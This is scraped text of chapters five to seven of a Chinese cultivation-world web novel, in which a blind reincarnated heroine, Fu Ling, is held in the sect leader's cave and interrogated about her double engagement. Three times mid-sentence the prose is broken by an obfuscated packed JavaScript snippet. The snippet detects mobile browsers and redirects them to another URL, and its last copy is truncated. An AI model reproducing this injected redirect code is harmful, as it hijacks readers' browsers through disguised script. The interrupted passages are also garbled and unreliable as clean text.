“这就是我们宗主所住的别缘峰。上面的台子就是缚仙台了,因为杀气重,很少有弟子敢住这里。但听说宗主从入门时就住在此地,成为一宗之主后也不曾变。” 知道傅灵有目疾,几个姑娘为她介绍。 傅灵垂下眼,指尖控制不住地发抖。越是靠近,越是能感受到上面浓重的杀气,仿佛上辈子灵魂被撕裂的疼痛又再度出现。 女修们以为她体弱承受不住高寒,赶紧把火灵珠塞在她怀里,有心安慰她几句,想到秦钟长老的警示,就都闭口不言了。 【既然害怕,又何必冒这个险?其实早在五年前我就来过剑宗,这里早就没有你的灵魂了。】 “你现在又敢出来了,你不怕李青尘把你揪出来吗?毕竟一百年前他可是以为你是指使我的幕后大boss……” 【……当时他不在,我忌惮他留下分身发现我连累你,因此并没有细细扫描,但若真有你的残魂……恐怕早就被李青尘随手碾碎了吧。】 “……”手心的伤口又在疼了,她扯了扯嘴角:“你怕,我也怕,我灵魂可能更怕,因此我猜剩下的残魂肯定躲起来了。我一定要亲自找到不可。” 【……唉。】 想到这里,傅灵看到让自己魂飞魄散的缚仙台后也清静了下来,只要找到所有残魂,她就能回家了,然后就当这一切只是一个噩梦…… “凌姑娘,这就是宗主的洞府了。洞府已被宗主下了禁制,没有传召任何人都不能进入,你在此等候片刻就可。” 几个修士一施礼,瞬间化作流光消失在天际。 傅灵回头,眯着眼看着这个在半山腰上的“洞府”,说是洞府,也只不过是修士随手开辟的山洞罢了。 剑宗的修士众多,内外门弟子与挂名弟子就有数万之众,因此有人喜欢安稳规律的亭台楼阁,有人就喜欢独处自在的山洞茂林。 上辈子她到剑宗时到的第一个洞府,就是李青尘的。这里地处偏僻,还有杀气灌注,寻常修士都避之不及。 李青尘想把她关在这里,恐怕是为了不让两个弟子接近她,又或者把她关到“原形毕露”。 不过对方真是想多了,她现在真的是一个凡人,顶多是骗人感情,怎么可能会对剑宗做什么? 她笑了笑,有些疲惫地靠在石壁上。掌心下是冰冷的石头,还有杂生的草叶,一切似乎百年前没什么分别…… 倏然,她的指尖碰到了一层水雾。 她意识到这是李青尘隔绝外人的禁制,她刚想起身,掌下突然一空。下一瞬,她坠了进去。 ———— 秦钟大步走向执法堂,深蓝的袖口惊起凉风,看守的弟子无不肃了面孔。 "祁寻和符骄可还安分?” “回秦长老,祁寻师兄正在打坐,符骄师兄正在……休息。” 秦钟冷哼一声,宗主的这两个弟子,一个执拗一个散漫,说是打坐不如说怎么想着以退为进、拒不认错。说是休息,其实是惫懒打算如何敷衍他们罢了! 如今宗主难得网开一面放他们一马,他却是万万不能放过的! 他正要带两人去洗灵池,倏然手腕一紧。 “师兄何必如此着急?”郭昆皱眉,将其拽到一边设下绝音术,“既然宗主已经插手,符骄祁寻二人自有他们的师父处理,你又何必受这个累呢?” “郭师弟。” 郭昆的入门时间比他早,但在剑宗里以实力为尊,因此面对这个外冷内热的“师弟”秦钟难得没有皱眉头。 “我并非是怕宗主徇私,他能网开一面且亲自看管那个凡女,定然有他的道理。我只是……内心不安,若是不速战速决,恐会生变。” “一个凡女而已,会起什么乱子?这次特殊,只不过是因为这二人都是宗主的弟子罢了。” 秦钟负手而立,他看向窗外的流云,“我也知此时不宜小题大做。只是若说这二人真是心之所向,对那女子一见钟情,我倒也理解,但一见钟情,二见求亲,这实乃……这不管不顾的劲儿,真像他们一百年前的师……” 话音未落,秦钟自知失言,沉默地垂下长睫。 百年前郭昆也只是一个普通弟子,对宗门秘辛全然不知,但却亲眼见证过百年前那场震惊灵界的结契大典和三人共抢一人的名场面。 “师兄是想起一百年的事?”郭昆的声音下意识地小了下去,“百年前宗主确实是……冲动了些。但也是中了邪修的奸计。傅……那等善于欺骗、攻于心计,将三界三主哄得团团转的女子恐怕千年难出其二。” 郭昆还想再说,但脑海中想到一双晶莹的笑眼,瞬间止住了话头:“总之,斯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16834585|191223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人已逝,如今有宗主坐镇,凌七又是手无缚鸡之力的凡人,师兄不必过于警惕了。” 秦钟没有再张口,他看向窗外,眼中不再有焦灼和愤怒,而是陷入回忆的无限怅惘。 他并非是针对凌七和两位弟子,他只是怕……悲剧重演罢了。 和郭昆低语几句,他正要进入室内提点两个弟子几句,倏然察觉到一丝凌冽灵气,不由得同时一愣。 宗主,也在执法堂? 祁寻和符骄被各自关在一间内室里,室内空无一物,只有头顶的夜明珠静静地发着光。 这里被设下了法阵,莫说逃出去,就算妖族魔物杀进来这里也无法察觉。 两人对执法堂“大牢”内的死寂十分不适,但想到不用去洗灵池受罪不由得松了一口气。 今日“死里逃生”,多亏师父网开一面,但有秦钟长老反对,此事不知如何收场。 想到在大殿上瑟瑟发抖的凌七,两人心中不免惆怅。此时不知何时出去能与凌姑娘团聚,若是当初能快一点提亲,没有祁寻(符骄)捣乱就好了。 想到同门,不免又想到和凌七做的约定,凌七明明只答应了他一个人的求亲,为何又有旁人插进来? 难道是出了什么误会?两人想到凌七的耳疾目疾,不知为何心中一慌。 正要喊人给外面托句话时,室内倏然一冷。这冷并不刺骨,却让人如坠寒渊。 符骄和祁寻二人一愣,先后起身跪倒在地: “恭迎师父!” 金光与白雾交织,片刻宗主的袍角出现在两人眼前。祁寻屏了一下呼吸,暗道以师父的行事作风,果然不会这么容易“网开一面”。 虽然两人自从拜入宗主门下后,宗主很少回宗,但二人也知道对方当年斩杀万人的雷霆手段,暗道这才是真正的审讯,他定然要仔细应对,咬定了自己和凌姑娘是两情相悦。 至于其他的……以后再说。 符骄也是如此想的,因此主动开口: “师父可是来问我与凌姑娘一事?师父,弟子愿以道心发誓,弟子对凌姑娘是真心的!” “你将与凌七如何相遇,如何相处,如何求亲……一一讲来。” 符骄一愣,下意识地抬头,却只能看到一张在明珠光辉下愈发模糊的脸,他顿了一下,马上说: “弟子与凌姑娘初遇,是在傅家村村外的桃树下……” 符骄陷入回忆,当时的他追杀狼妖来到人界。狼妖狡诈,他不防被暗算,受了重伤。冥冥之中看到傅家村炊烟袅袅,格外平和,于是飞了过去,倒在了柳树下。 “弟子醒来的时候,看到了一张十分……苍白的脸,凌七很瘦,指尖很凉,但是她的眼睛却很平和,像是雾中的静流……” 符骄的脸上带着一些笑意,意识到头顶是自己的师父,马上就道:“弟子一看见她的眼睛,就觉得……有一把剑插在了我的心口,什么宗规,什么修炼全都忘了,当、当然只是忘了一时!” “她很温柔地为我包扎,很少和我说话,我们互通了姓名。我便想着,带她回到剑宗,想让师父帮她开了灵窍,和她一起修行,长长久久地侍奉在师父左右……” 与此同时,祁寻也结束了回忆: “弟子追杀妖族身受重伤。在破庙里,是弟子成为修士后最惬意的三天,凌七姑娘的柔情和她那双平和的眼睛是弟子从未见到的,有时竟觉得连伤口都不痛了。听闻凡间的女子很早就会被嫁做人妇,于是弟子……当即就下了决定,向她求亲!” 金白交织的宗主袍角动了动,他们听头顶的人问: “那她,是如何回答的?” “她说:‘好’。” 室内恢复了寂静,片刻,宗主又问: “便只是如此吗?” 符骄抬头:“便是如此,凌姑娘没有半点不愿,师父,我和她是两情相悦,请师父成全!” 祁寻叩首:“就是如此!师父,弟子本打算带她回宗后先等您回来,没想到却等到此等祸事。师父,请网开一面,还凌七清白,成全弟子真心。” 头顶的人久久没有回答,二人疑惑去看时,却只觉得背上一沉,无不出了冷汗垂首以待。 “你们二人连犯宗规,暂可不入洗灵池。但需受杖三百,闭门思过,无我允许,不能迈出洞府一步。” 你们? 二人一惊,这个屋子只有他一个人,哪有“你们”?眼看宗主的身影像是仙雾般化去,瞬间了然。 原来是宗主的分身! 与此同时,傅灵跌入洞府。 好在洞口平整,她踉跄了两步,迟疑地用手摸了摸。自己竟然进来了? 难道是李青尘的禁制失灵了?还是说他忘了放禁制?傅灵皱着眉,惶然地抬起头。 入目是隔着一层薄纱的山洞摆设,隐约可见石壁的黑、草叶的绿还有各种石具的白。 从那些大片朦胧的色块中,傅灵几乎可以“看到”这里的环境:石壁上攀附着层层草叶,墙角有灵植伸展,从洞里一角泻下一缕阳光,金黄地流过每个碧绿繁盛的角落。 修士本来选择洞府就是为了清心少事,但这里温馨精致,恍若世外桃源。 一百年前的记忆像是水中的倒影覆面而来,傅灵恍惚一瞬,匆匆从水里挣扎而出。她想要离开,但是本就脆弱的膝盖久跪,又受了凉,瞬间就软了下去。 她咬着牙,按照记忆向旁边摸索。山洞昏暗,好在她已经习惯黑暗,又有肌肉记忆,于是小心地扶壁前行。 走了没几步,指尖碰到一个冰冷的石凳,她瞬间松了一口气。 她艰难地坐在上面,指尖撑在石桌上。这石桌触手温润,边缘还有一点无聊时磨搓出的划痕。大小高度与她的身体契合得正正好。 傅灵闷咳了两声,正要随手去够茶壶,倏然觉得浑身一冷。 6. 第六章 【这里竟然一点都没有变。】 系统说。 傅灵回神,她不动声色地收回手,指尖在冰冷的石桌上蜷了蜷,“虽然过去了一百年,但这里的摆设和植物都吸收了灵气,千年也不会损毁。” 说着,不等系统再问,马上道:“我知道你在试探什么,放心吧,我不会多想……” 她又闷咳了两声,捻去指尖上的灰尘,“刚才那几个修士说,李青尘并不经常回来。他即便是回来也只是在剑宗匆匆现身,这里恐怕早就被他荒废了,只是一个普通的洞府罢了……” 【宿主清醒就好。】 傅灵摇头失笑,她收回手,指尖还残留着冰冷。 “死了一百年,瞎了十八年,就算再傻也该醒了。时移世易,秦钟成了执法堂长老,李青尘收了两个原文中未提过的人当弟子,你以为我还抱着以前的幻觉不放吗?” 【……那两个人确实在原文里没有提过,许是百年前的蝴蝶效应……一百年确实发生了很多变化,人心易变。】 傅灵没说话,掌心按在石桌上,鲜红晕染到了纯白。 她垂眸看着,倏然陷入怔怔。 ———— 回到宗门后,一师姐,不,应该叫师伯[注],和那些男师伯不同,名叫方向灵的师伯更有耐心。 在剑宗里分为内外门,还有挂名弟子。李青尘是外门弟子,她只是个挂名。 刚入门的弟子需要照顾灵兽、培育灵植,整理灵书。为了方便大多数愿住在建筑里。只有李青尘不同,住在煞气最重的别缘峰中。方向灵问她愿在何处。 傅灵当然选在别缘峰。 回峰的仙舟上,李青尘负手站在船头,换回了蓝白弟子服的他背靠流云,衣随轻风,被束起的发丝贴在颈侧,露出清隽利落的一张脸。 他一路不语,本应是一个少年气十足的小仙君,此时的瞳孔却布满沧桑 他也不明白,为何身后这个小修士,之前还对“师徒”身份无比震惊抵触,这一路上却是“师尊师尊”叫个不停,还越叫越顺口。 他抿了一下唇,将其带到了别缘峰。独自开辟洞府需要不少的灵气和时间,此时天色渐晚,只能明日再说,因此李青尘只好将傅灵带回了自己的洞府。 傅灵进入的一瞬间,不由得一惊。 尽管知道原文里的李青尘“清心寡欲”、“讨厌麻烦”,但看着洞府内除了一张石床之外一无所有的环境,还是不由得瞪大眼。 竟然连个石凳都没有吗,那如果同门来做客该怎么办? 又一想他为了躲“麻烦”连别缘峰都住了,当然是无人打扰他更好。 李青尘道:“从今天起,你就在剑宗安顿下来了。这里便是全部的家具,你有任何想要添置的物品,可与器物司的人说。明日寅时去授务堂领取任务。刚入门,照顾灵兽太危险,整理灵书需要更高的级别,你还是去照顾灵植为好。” 傅灵知道,虽然李青尘在剑宗里修为平平,但以他细心的程度被破例允许整理灵书,也因此学习了很多宗法秘辛。 他说完就要走,傅灵一惊,赶紧跟上去:“师尊,你要去哪里?” 李青尘顿了一下,微回头,“你今晚就在这里住下,这个洞府是你的了。” “那你呢?” 当然是另寻洞府,他当初选择别缘峰就是为了清静,也是为了防止自己的“秘密”被别人发现,如今傅灵也要住在这里,那他就要另寻他处了。 最好是离别缘峰更远的山峰。 他没说话,但是傅灵的瞳孔闪了闪,想到原著里李青尘的性子,马上喊了一声: “等等,师尊,要走也是我走!” 李青尘的发丝在空中迟滞地撞到脊背,他回头看到傅灵急匆匆地挤到门口,犹豫而又小心地拽住他的袖口往回一拉。 “这里本就是你的洞府,如果你要我住在这里你出去,那岂不是我鸠占鹊巢了吗?我现在就走、马上走,你赶紧回来休息吧!” 李青尘道:“我并非无家可归,今晚本打算在灵书阁研究心法。” 傅灵低下头,微叹口气,“我其实想住别缘峰,就是为了……离你更近一点,但我绝对没有让你为难的意思!毕竟在这个剑宗我只认识你一人,也只信任你一个人……但如果把你逼走、打乱你的生活,我、我还不如不来剑宗呢……” 说来说去,其实早在决定接近他的时候就打乱他的生活了吧,唉。 李青尘看着她毛茸茸的头顶,没说话。 傅灵抬起头,“这样吧,今晚你住在洞府,我在外面打坐,反正灵力运转了也不冷。明天,我就在山脚下挖一个洞府,尽量离你很远。然后……除了有要事外,一个月找你七……不,五次,怎么样?” 李青尘负手走了两步,这是他在思忖的表现。傅灵不敢说话。 片刻,他拿出一块玉简:“今晚你住在洞府,我在外打坐,顺便了解你的灵力运转。明日我替你寻找洞府——越靠近山脚,煞气就越会与地面发生共鸣,对修行无益。至于你想找我……这块玉简可以传音,有要事就可对其说话。” 他将其扔给她,“我这个洞府设下了禁制,没有玉牌通传你也进不来,因此没有要事勿要靠近。” 傅灵接过,心里已经很满足了。 她摸了摸玉牌,又忍不住问:“师尊,还有一事我可不可以请求?” 李青尘的眉心几不可查地一动:“还有何事?” 傅灵匆匆从洞外找了一块石头,放进洞内一拍: “能不能给我加一个座啊?我知道师尊怕麻烦……这石头就当我的专属座位了。您放心,除了我没人的屁股会这么硬,也就没人来打扰您了!” 李青尘:“……” 他看着傅灵又露出那种可怜又欢快的目光,不知道让对方做他的弟子是对是错。 “罢了,我会多加一套石桌。你是我唯一的弟子,理应有这个方便。” 唯一的弟子…… 傅灵忍不住抿唇在心里美滋滋地品了品,在原文里李青尘怕麻烦一个弟子都没收,她可不就是他唯一的弟子吗? 此后,她但凡有机会来此,就会找机会将师兄师姐送她的灵植家具都塞满了李青尘的洞府。 对方一开始抿唇抗拒,时间长了便也随她去了。 渐渐地,冰冷的洞府恍若世外桃源…… 掌心下的冷意让傅灵瞬间回神,她察觉到自己在这个洞府里花费太多的时间了。如果李青尘回来发现她在里面,误会她是隐藏实力,故意进来找机密的坏人怎么办? 虽然无论前生还是现在,都已经是欺骗感情、心怀不轨的坏女人了。 她失笑: “我知道人心易变,恐怕有些人杀我的心不会变……” 她说完,系统没回答。 以为系统嫌她烦,她摇了摇头,指尖撑在石桌上,刚站起来,倏然听到洞府左侧传来一道低沉的声音: “既然已经进来了,还要去哪里?” “砰!” 这道声音在傅灵的脑海中一炸,一瞬间她的心脏挛缩像是要榨出所有的鲜血来,指尖一抖扫掉了桌上的茶杯。 随着一声脆响落地,她仓惶而又无助地看向左侧。 在黑色的石壁和莹白的玉石床边,坐着一个修长的人影。昏黄的光线下,对方身上的宗主白袍闪着淡淡的荧光,如同夕阳下耀金的积雪。 她没有发现对方,是因为对方的肤色更白,几乎与所有的石器玉床融为一体,且他毫无声响,因此她一点都没有察觉。 李青尘,是李青尘!他竟然在这里默不作声地看了她半晌! 此时此刻,她的心脏一声接着一声地撞击着她的胸膛,她在脑海里快速回想着自己刚才电话进入洞府内的一言一行,一边又似一片空白般机械地蹲下身,去收那些茶杯的尸体。 “……” 仓惶下,她的指尖碰到了边缘,血腥味先溢了出来。她咬着牙没出声,刚想继续收拾,倏然指尖一僵。 就像是被一股无形的风抬起。 李青尘缓缓走过来,宽大的袖摆下露出指尖的一点荧光,傅灵的瞳孔一点点放大,她一退再退,如同木偶般被逼退到石凳上。 “宗、宗主……” 她的声音颤抖,抬头满目不安: “刚才我在外等候,不想穿过了禁制,并非有意进入。” 她捏紧手心,看到对方的身影越靠越近,在她即将屏住呼吸前,长靴堪堪在阳光阴暗交界处停下。 “你有目疾、耳疾,却能一眼就认出我?” 对方的脸被隐在阴影下,声音如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16834586|191223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水滴玉石。 傅灵的指尖下意识一蜷缩,疼痛像是针一样扎入她的脑海。 在低头的一瞬间,她确认自己没有说一个字,她和系统全程的交流都是在心里的。 “我……”她的瞳孔闪了闪,咬牙起身还想再拜,但却被对方的法力压得动也不能动,只能僵硬着身形,声音尽量显得微弱: “我见过宗主一面,仙人之姿怎能敢忘?况且宗主的声音若玉石,我还是能听清楚的。最重要的是……这个洞府是宗主的,除了宗主还能有谁来呢?” 对面的衣物磨擦声更大了一些,地面的碎石又被缓缓碾碎,傅灵的头顶又出现那种寒流滚动的错觉。 又听他道: “我的洞府……我常年不回,你倒是比我略熟悉一些。” 傅灵只觉脑后一阵嗡鸣,针扎得一般刺得她的后颈都在痛。 她闭了闭眼,低声道:“我常年身处黑暗,感应能力自然比寻常人强。到了陌生地方也比旁人更快适应。” 她知道这是自己强词夺理,但又听对方问: “……你的目疾、耳疾是从小就有的吗?” 来了,开始试探了。 傅灵深吸一口气,道:“从生下来就这样了,我娘说……许是怀我的时候受了凉,所以我生下来就先天不足。” 茶具一动,茶杯里竟然出现汩汩的流水,一股热气传来,傅灵却不敢动。 谁知道那是不是让人说真话的灵药呢。 “可有找人看过?” 她摇头,“找过,但他们都说我这个病从娘胎里带来的,无法治愈。近些年长大些,能看清很多了,小时候只有一片昏暗,谁说话都听不清的……” 洞内沉寂了一瞬,仿佛灰尘都慢了些许。 “郭昆告诉我,你家中一共九口,你上有两个姐姐,四个哥哥。因为身体有疾,因此常年只能住在柴房,受尽打骂……你就没想过逃吗,甘心只做一个……任人欺凌的凡人?” 傅灵陷入恍惚,她哪里没想过逃呢? 在睁开眼的一瞬间,看到的不是现代的高楼大厦,也不是剑宗熟悉的洞府,而是满目的黑暗。 待长大后,明白了自己的处境,竟然有些怨气,怨系统给她找的人家为何给她这样一个身体,又怨它把她扔在这里就再也不来见她。 但怨来怨去只能怨自己,怨她的不自量力、怨她的自作多情。即便是跑,又能跑到哪里去? 天大地大,也只不过是书中的世界罢了。 还不如就这样浑浑噩噩地,也许哪一天病重能毫无声息地回到现代,那就是最好的结局了。 直到……她遇到祁寻两人出现在凌家村。 她垂下长睫,还在滴血的指尖揪紧白裙,声音低了下去: “凡人就是如此,村里有很多刚生下就失去生命的女婴,我的命已经很好了,最起码……我现在还活着。” 她说完,洞内倏然进入寂静,静得只能听到她自己的呼吸声。 傅灵疑惑地抬头,却倏然看到李青尘不知何时进了一步。 偏红的夕阳被石缝夹成一线,正贴在他的眼角。李青尘幽深的瞳孔在金光交织下映瑰丽的色泽,向来清正的长相恍然竟然有些妖异。 此时那双向来毫无情绪的眼睛静静地看着她,像是山石倾塌那般重,又像是蓝海跃金那般轻。 倏然之间,此刻仿佛时光回溯。百年前她也是坐在这里,看着李青尘在书架前整理秘籍。 对方随意抬眸,目光平静,似风较轻。 “你既然已经自身难保,又为何能分出心神出现在破庙、村口,去救祁寻和符骄?” 傅灵不寒而栗,瞬间收回心神抽回视线。 暗道对方刚才铺垫了那么多,果然是为了拷问她真相。 她深吸一口气,轻轻地道: “近些年眼睛和耳朵好了很多,听到母亲要将我随意嫁出去,因此心思活络了很多。我一方面经常去村口,生怕有人来提亲,一方面又去破庙,想着求神拜佛,希望母亲不会把我随意嫁出去。” 说着,微微一笑,“至于我能救下您的两个弟子,且答应了他们的求亲,这个理由很简单——我两个都喜欢。” “砰!” 冒着热气的茶水瞬间凝结成冰,茶杯碎成了两半。 7. 第七章 李青尘的身形骤然消失,如同急退的风雪。 洞府内恢复安静,傅灵久久回不了神。 【宿主不该触怒他。祁寻和符骄是他的入门弟子。被人说两个都喜欢,对修士来说无异于……奇耻大辱。】 消失了的系统又出现了。 傅灵没说话,她闭了闭眼,待血液重新在她的身体里流通,这才轻声道: “我没触怒他,我只是在说假的‘真话’而已。” 说完,看着裂开的茶杯不由得失笑。 不愧是化境大能吗?即便发怒也会绝对控制灵力,碎片并没有迸溅到她身上。 “我如果说自己因为听错了、看差了因此认错了人,恐怕他也不会相信。只有这样带着私心的‘真话’才会让人相信。” 【……到底还是太冒险,你面对的是当了宗主一百年的李青尘,不是青涩的李青尘,凡事都要小心。以防被他发现,以后他在时我不能上线,宿主要自己想办法了。】 傅灵点了一下头。 这个洞府内能休息的地方除了一张玉石床,就只有放着各种秘籍的“书房”了。 她不知道李青尘什么时候会回来,又怕自己擅动让对方联想到什么,因此便哪里都不去。 天色渐晚,她带着一身的疼痛和饥饿,趴在石桌上陷入梦乡。 半梦半醒间,她感觉到了一点异样。但睁开眼的时候,只有满目的模糊,隔着一层水膜的耳朵也听不到什么来。 她想起身,但又冷又饿的身体让她的头脑发沉,只能勉强动了动。指尖碰到了茶杯。 剩下的杯子竟然还是温热的,她的唇瓣动了动,朦胧间看到月色洒在地面,晃成湖面的莹白。 不知是不是太过困倦,疼痛和寒冷都在瞬间消失不见了,她又陷入了黑沉。 第二天,她醒来时发现李青尘还没有回来。 谨慎起见,她还装作没醒听了半天。 不过这里早就被对方废弃了,既然把这个洞府当做关押她的临时监牢,就没有回来的必要。 傅灵勉强抬起头,惊讶地发现自己手上的伤都消失不见,胃里还有一股暖流,她趴了一宿不仅没冷还没饿。 她这是…… 她看到桌面上空了的茶杯,瞬间一愣。 “系统,昨天晚上我是不是模模糊糊地把茶喝了?” 【……】 她忘了,系统说怕被李青尘发现,因此在剑宗里尽量不上线了。 她摸了摸喉咙,没有感觉到毒药入口的灼烧感,如果真的是能让人吐真话的灵药……她现在早在李青尘手心里烟消云散了吧。 也许只是普通的灵水…… 她收敛心神,小心地摸索着这个熟悉的洞府。许是因为李青尘来过一次,这里的灰尘一夜之间消失,空气中浮动着灵植清新的味道。 走到门口时,伸手一碰,果然碰到了一层无形的禁制。李青尘果然不允许她出去。 这个结果在她的意料之中。 她在来剑宗前,就猜自己的残魂最有可能藏在她自己的洞府内——就在李青尘洞府的不远处。 但现在想要回洞府就必须先出去,李青尘设下的禁制无比强大,如果是以前的她能用阵法破开,虽然会花费一些时间,但是现在她灵力全无,对方又不知何时会突然回来,她暂时不能轻举妄动。 只是她没想到,从那日起,她一连三天都没看到李青尘。 也许真的被她气得不轻,又或许是被宗门事物绊住了脚,竟连一片衣角都没出现过。 连送衣物和凡人食物的修士都是三缄其口,除了拿着玉牌凭空送到洞内之后,一个字都不与她多说。 第四天,外面传来响动,像是风卷乌云,由远及近呼啸而来。 她看向洞外,在模糊的视线里看到远处两道流光极速射回。 听其声势,好像是哪两个长老回来了。 送物品的修士说,是宗门里的裘双双、庄天成两位长老。这二人常年追踪邪修,在宗门的时间不比宗主多多少。 裘双双…… 傅灵一怔。 片刻,洞府外就有意味深长的笑声传来:“我那两个师侄,竟然真的被那个凡间女子所惑?即便我刚回宗,看那两个小子互不得见尤剑拔弩张,也难以置信。” “回裘长老,大殿之上发生何事我等弟子不知。只知道这里被宗主下了禁令,没有通传不可靠近一步。” “我知道,自从一百年前……这座别缘峰几乎就荒废了,莫说宗主下了禁制,即便这里畅通无阻也无人想靠近。我只是好奇,能让我两个师侄魂牵梦萦,不惜大打出手,且能让宗主关在这里的女子,到底长得何种模样?” 声音越靠越近,小弟子们带着为难的声音断断续续地飘了过来。 “您对宗主的两位弟子如此关心,刚回宗就为此奔波,弟子们难免不安,不如您在此地等候,我等先给您倒杯茶?” “那倒不必了。” 声音还在风中飘着,来人已经站在了门口。 傅灵站在阴影里,听到小修士带着叹息的声音传来: “凌姑娘,这是我们宗门的裘长老。裘长老是宗主的师妹,今日刚回宗。” 傅灵没说话,她感觉到有缓慢的目光一寸一寸地从她的脸上滑过。 “裘长老,凌七有耳疾、目疾……” 对方的声音倏然变大,“你就是凌七?” 傅灵抬眼,视线从对方的长老袍落在腰侧猩红的鞭子上,最后落在对方的脸上。 倏然一愣。 裘双双抱着双臂,眼尾带了一点岁月的痕迹,但瞳孔不失热烈。她随意一扫傅灵,看她瞳孔闪动,似乎陷入恍惚的样子,暗道只是一个瘦弱残疾的凡人,不知为何会在宗门引起这么大的乱子。 “莫怕,我不是来提审你的,我可没秦钟那么多的戾气。”裘双双抱臂走了两步,又问: “听说你和我那两个师侄都定了亲,他们现在还在执法堂关着。我只是想知道,你到底喜欢哪一个?” 傅灵还是那句话,“都喜欢。” 裘双双倏然转过了头,视线终于落在她脸上,“现在的凡人还有这等胆量,我倒是佩服。” 傅灵道:“我肉体凡胎,在偌大的仙门里失去自由,便只能说实话了。” 裘双双点了一下头,道:“凡人有凡人的不易,仙人也有仙人的危险。你若说的都是实话,剑宗迟早会还你自由。” 傅灵笑了一下,“凡人寿命短暂,一日便如蜉蝣一生。恐怕等宗主想起我这个凡人,早已经过了沧海桑田。村中人只叹我何其有幸入了仙门,不知我眼前只有这方寸之间罢了。” 裘双双看她身形消瘦,神色沉静,问那几个弟子,说宗主从未出现过,不由得暗叹一口气。 现在不知谁是谁非,但将一个小小的凡人关在山里不管不顾,确实过分。 想到宗主回宗后寒气更重,不由得恍然。定然是怕宗内人徇私,特意将凡女关在此地。但宗内事物繁忙,宗主应已忘了此人。 裘双双只得道:“别缘峰确实杀气四溢,除了这个洞府之外就只有……” 她倏然止住了话头,看剩下的小弟子们目露好奇,无声地捏紧了长鞭。 她道:“就只有花花草草了。这里荒无人烟,你一个凡人确实不易。来之前,我那两个师侄再三嘱咐,让我好好照顾你。这等私情小事,何至于宗主亲自过问。也罢,我来处理这两个臭小子的恩怨纠葛。那你,可就要随我走了。” 傅灵无声地捏紧指尖,面上平静: “无论去哪里,只求长老还我一个清白。” 裘双双转身就想回去和宗主商量此事。 但在转身的一瞬间,眼角滑过洞内的环境,倏然就像是被里面的光亮刺了眼。 这个洞府常年无人,即便宗主回来也只是现身片刻就走,里面恐怕早就如同荒山野洞一般。 如今再看,里面整洁无比,灵植环绕。凡女眼盲看不清楚,她却看得明白,里面隐现明辉,亮如白昼。桌上摆满瓜果,茶水热气升腾,暖如春夏。仿佛有一个阵法,让冰冷的山洞永远停在温暖的午后。 再看那个凡女,虽然瘦弱但并不憔悴,再想到执法堂里的两个师侄苍白消瘦的样子,这哪里是关人的地方? 她看着傅灵朦胧无神的双眼,对方似乎感应到她的视线,倏然抬眼。 只一瞬间,她的神识就像是被鞭子抽了一下。 她几乎是下意识上前,“凡女,你过来!” 小弟子们一愣,傅灵缓缓迈出一步。 “不够,你再过来!” 裘双双的声音几乎嘶哑,傅灵抿了一下唇,在禁制前停住。 裘双双仔仔细细地看着她的双眼,只觉得不像,但心脏却跳得一声比一声还快,好像有一层无形的幕布遮在她的眼前,让她触不到真相。 想到这里,下意识地伸出手就向她抓去。 “砰!!!” 一道金色符文在洞口无形显现,庞大的力量如同遮天海啸层层荡开。裘双双的喉咙一甜,立刻被这股力量冲撞倒飞了出去。 傅灵虽然看不清,但她嗅到了血腥味,一声“双双”就这么梗在了喉口。 剩下的小弟子们大惊失色,紧张的同时也是后怕,幸亏送物品时以玉牌为令,裘长老尚且如此,她们靠近禁制之后岂不是会重伤不治? 裘双双闷咳了两声,疼痛之后就是震惊。 她以为门口的禁制只是不让人靠近,没想到就连碰触也会受到反噬。宗主到底是要关着凌七,还是不让人…… 她的瞳孔闪烁,刚要站起来倏然就感觉剑芒在背。 几个小弟子也仓惶起身,对着天空拜了下去。 裘双双咬牙,汗如雨下,“宗主师兄……” 傅灵的心脏被重捶,也随着众人的视线抬头。隐约看到一只硕大的金纹符目悬于剑宗之上,似古神苏醒,仙人垂眸,让人的魂魄都在战栗。 “是宗主的神识一瞥。”裘双双艰难地道,“尔等莫要乱动,小心修为大损!” 所有人一动都不敢动,那眼睛扫过裘双双等人,倏然看向傅灵!傅灵只觉得大脑被重重一击,眼前全是花白的虚影。 李青尘他……他的一只眼就能让人如山在背,此时此刻,她的呼吸艰难,恍然灵魂都被看穿。 他一直在看着这里?他不让自己出去半步,也不让人靠近半步,是否就在等着她出错? 那岂不是连自己想方设法暗示裘双双带自己出去也被他看得一清二楚?! 裘双双深吸一口气道:“宗主师兄,是我鲁莽误触禁制,我这就离开!” 她差点忘了,这位宗主师兄虽少言冷情,但在那次灭宗之战的雷霆之怒让所有人头皮发麻。 百年以来威压更甚,对方轻易不动怒,除非是被踩到了底线…… 在鸦雀无声中,高悬于天的金眼骤然消散,所有人大松了一口气,几乎要瘫在地上。 裘双双勉强站起来,她梗着脖子强迫自己不回头看一眼,带领浑身冷汗的一众弟子消失在洞外。 傅灵看着裘双双的背影,直到自己踉跄地坐回石凳上,桌上冒着热气的茶水都暖不回她的指尖。 她闭了闭眼,刚才她有些冲动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 